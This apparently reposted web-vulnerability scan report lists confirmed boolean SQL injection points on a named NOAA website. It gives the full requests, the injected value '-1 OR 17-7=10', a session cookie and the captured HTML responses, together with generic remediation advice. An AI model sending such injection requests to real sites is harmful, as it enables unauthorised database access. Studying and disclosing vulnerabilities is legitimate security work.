XSS.CX Research Blog

The DORK Report

Loading

Netsparker, Web Application Security Scanner

NETSPARKER SCAN REPORT SUMMARY

Netsparker - Scan Report Summary
TARGET URL
http://response.restoration.noaa.gov/dwh.php?...
SCAN DATE
2/26/2011 7:57:22 AM
REPORT DATE
2/26/2011 9:17:48 AM
SCAN DURATION
00:10:42

Total Requests

6174

Average Speed

9.61 req/sec.
24
identified
7
confirmed
7
critical
13
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Boolean SQL Injection, SQL Injection
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
29 %
LOW
17 %
INFORMATION
54 %
Boolean Based SQL Injection

Boolean Based SQL Injection

4 TOTAL
CRITICAL
CONFIRMED
4
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /audience_subtopic_entry.php

/audience_subtopic_entry.php CONFIRMED

http://response.restoration.noaa.gov/audience_subtopic_entry.php?entry_id=-1+OR+17-7%3d10&subtopic_i..

Parameters

Parameter Type Value
entry_id GET -1 OR 17-7=10
subtopic_id GET 27
audience_id GET 4

Request

GET /audience_subtopic_entry.php?entry_id=-1+OR+17-7%3d10&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3916
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title>Coral Reefs and Oil Spills: A Guided Tour | Inspiring Students and Teachers | Interested Public | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="keywords" content="coral reefs, guided tours, coral tour, oil spills, restoration, coral colonies, coral colonization, recovery, oil spill responses, coral habitats, coral reef bleaching, zooxanthellae, reef mortality, vessel groundings, coral rubble, coral predators, coral diseases
">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>

<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">

<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_coastal_habitat.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">

<!-- tiny icon menu -->

<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">

<!-- target audience menu -->

<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'>Emergency Responders</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'><strong><font color='black'>Interested Public</font></strong></a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">

<!-- breadcrumb trail -->

<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'><span class="center_titles">Interested Public</span></a> | <a href='audience_subtopic.php?RECORD_KEY%28subtopic_audience%29=subtopic_id,audience_id&subtopic_id(subtopic_audience)=27&audience_id(subtopic_audience)=4'><span class="center_titles">Inspiring Students and Teachers</span></a></td>
</tr>
</table>
</td>
</tr>
<tr><td><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=5&subtopic_id=8&audience_id=4' target='_self'><strong>Intro - 1</strong></a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=67&subtopic_id=8&audience_id=4' target='_self'>2</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=68&subtopic_id=8&audience_id=4' target='_self'>3</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=561&subtopic_id=8&audience_id=4' target='_self'>4</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=560&subtopic_id=8&audience_id=4' target='_self'>5</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=559&subtopic_id=8&audience_id=4' target='_self'>6</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=558&subtopic_id=8&audience_id=4' target='_self'>7</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=557&subtopic_id=8&audience_id=4' target='_self'>8</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=556&subtopic_id=8&audience_id=4' target='_self'>9</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=69&subtopic_id=8&audience_id=4' target='_self'>10</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=70&subtopic_id=8&audience_id=4' target='_self'>11</a></td><td class='entrygroup_table'><a href='audience_subtopic_entry.php?entry_id=555&subtopic_id=8&audience_id=4' target='_self'>12</a></td></tr></table></td></tr> <tr>

<!-- this td tag contains the center panel of the page -->

<td align="left" valign="top">
<p><span class="feature_title">Coral Reefs and Oil Spills: A Guided Tour</span></p>
<p>
<agl:container>

<!-- title / graphic / text block 1 -->

</agl:container>
</p>
<p><span class="feature_title"></span></p>
<p>One of nature's most spectacular creations, coral reefs are also among the most complex, diverse, and economically valuable ecosystems in the world. Sadly, coral reefs are being rapidly damaged from both natural and human causes. This tour will give you a basic overview of coral reefs, some of the threats they face, and some of the ways we can restore reefs that have been damaged.
<P><em><strong>Note:</strong>&nbsp; This guided tour refers only to coral reefs found in shallow tropical waters.</em></p>
<p>
<agl:container>

<!-- title / graphic / text block 2 -->

</agl:container>
</p>
<p>
<agl:container>
<span class="feature_title"><br>Part 1: What are coral reefs?</span>
</agl:container>
</p>
<p>
<agl:container>
Tiny individual coral <b>polyps</b>, related to sea anemones, create reefs by secreting limestone skeletons. Coral polyps divide as they grow and form coral colonies, creating a coral reef.
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 3 -->

<table width="353" height="254" border="0" cellspacing="4" cellpadding="0" align='center'>
<tr>
<td align="center" valign="middle"><img src='/art_gallery/polyps.jpg' alt='Individual corals, or polyps, are sac-shaped organisms, each with a central mouth surrounded by a ring of tentacles.' height='250' width='349' border='0' hspace="12"></td>
</tr>
<tr>
<td align="center" valign="middle">
<agl:container>
</agl:container>
</td>
- /dwh.php

/dwh.php CONFIRMED

http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10

Parameters

Parameter Type Value
entry_id GET -1 OR 17-7=10

Request

GET /dwh.php?entry_id=-1+OR+17-7%3d10 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 5378
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Coral Reefs: Spills and Other Threats | Protecting Coastal Resources | Pollutants in the Environment | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="keywords" content="oil spill response, coral, spills, ecosystem, planning, coral reefs, pollutants, fishing, developing, impacts, oil spills, global warming"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_pollution.jpg' alt='Pollutants in the Environment'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'>Emergency Response</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><strong><font color='black'>Pollutants in the Environment</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Coral Reefs: Spills and Other Threats</span></p> <p> <!-- title / graphic / text block 1 --> <table class="no_overlap" width="525" border="0" cellspacing="0" align="left"> <tr> <td class="graphic_cell_padding" align="center" valign="middle"> <img src='/art_gallery/oilgaleta.jpg' alt='Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1996.' width='350' border='1'> </td> <td class="graphic_cell_padding" width="33%" align="center" valign="middle"> <span class="photo_caption">Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1986. <em>Photo: John Cubit.</em></span> </td> </tr> </table> </p> <p><span class="feature_title"></span></p> <p>Coral reefs are highly productive and diverse ecosystems that are not only beautiful, but are also very valuable economically and environmentally. Today, many coral reefs are suffering degradation from a variety of causes, including climate change, pollutants, overfishing, development, and physical disturbances. Coral habitats are also vulnerable to impacts from oil spills.
<P>Because these systems are fragile, we are especially careful to respond appropriately to spills or potential spills in these areas. By understanding how our actions can affect coral reef ecosystems, we can do a better job of protecting them from further harm.</p> <p> <!-- inline linkbox 1 --> <span class="feature_title">For More Information</span> <br> <ul> <li><a href='/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=entry_id,subtopic_id,topic_id&entry_id(entry_subtopic_topic)=5&subtopic_id(entry_subtopic_topic)=8&topic_id(entry_subtopic_topic)=1' target="_self"><span class="link_title">Coral Reefs and Oil Spills: A Guided Tour</span></a> <span class="link_notes">Get a basic overview of coral ecology, learn what types of things can harm coral, and see how resp..
- /audience_subtopic_entry.php

/audience_subtopic_entry.php CONFIRMED

http://response.restoration.noaa.gov/audience_subtopic_entry.php?entry_id=748&subtopic_id=-1+OR+17-7..

Parameters

Parameter Type Value
entry_id GET 748
subtopic_id GET -1 OR 17-7=10
audience_id GET 4

Request

GET /audience_subtopic_entry.php?entry_id=748&subtopic_id=-1+OR+17-7%3d10&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:52:23 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3776
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title>Coral Reef Documents and Reports | any subtopic | Interested Public | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="robots" content="noindex,nofollow,noarchive">
<meta name="keywords" content="coral,coral reefs,emergency responders">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>

<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">

<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_wetland.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">

<!-- tiny icon menu -->

<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">

<!-- target audience menu -->

<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'>Emergency Responders</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
